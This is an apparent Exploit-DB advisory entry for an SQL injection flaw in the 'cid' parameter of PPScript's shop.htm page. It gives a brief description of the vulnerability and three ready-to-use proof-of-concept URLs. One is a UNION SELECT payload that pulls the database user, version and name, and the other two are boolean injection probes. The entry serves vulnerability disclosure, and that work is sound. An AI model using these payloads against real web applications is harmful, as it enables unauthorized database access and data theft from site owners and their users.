Payment Processor Script (PPScript) - 'shop.htm' SQL Injection

EDB-ID:

34493


Author:

MizoZ

Type:

webapps


Platform:

PHP

Date:

2009-08-03


source: https://www.securityfocus.com/bid/42539/info

PPScript is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 


http://www.example.com/shop.htm?cid=999999999+union+select+1,2,concat(user(),0x3a,version(),0x3a,database())
http://www.example.com/shop.htm?cid=31+and+1=1
http://www.example.com/shop.htm?cid=31+and+1=100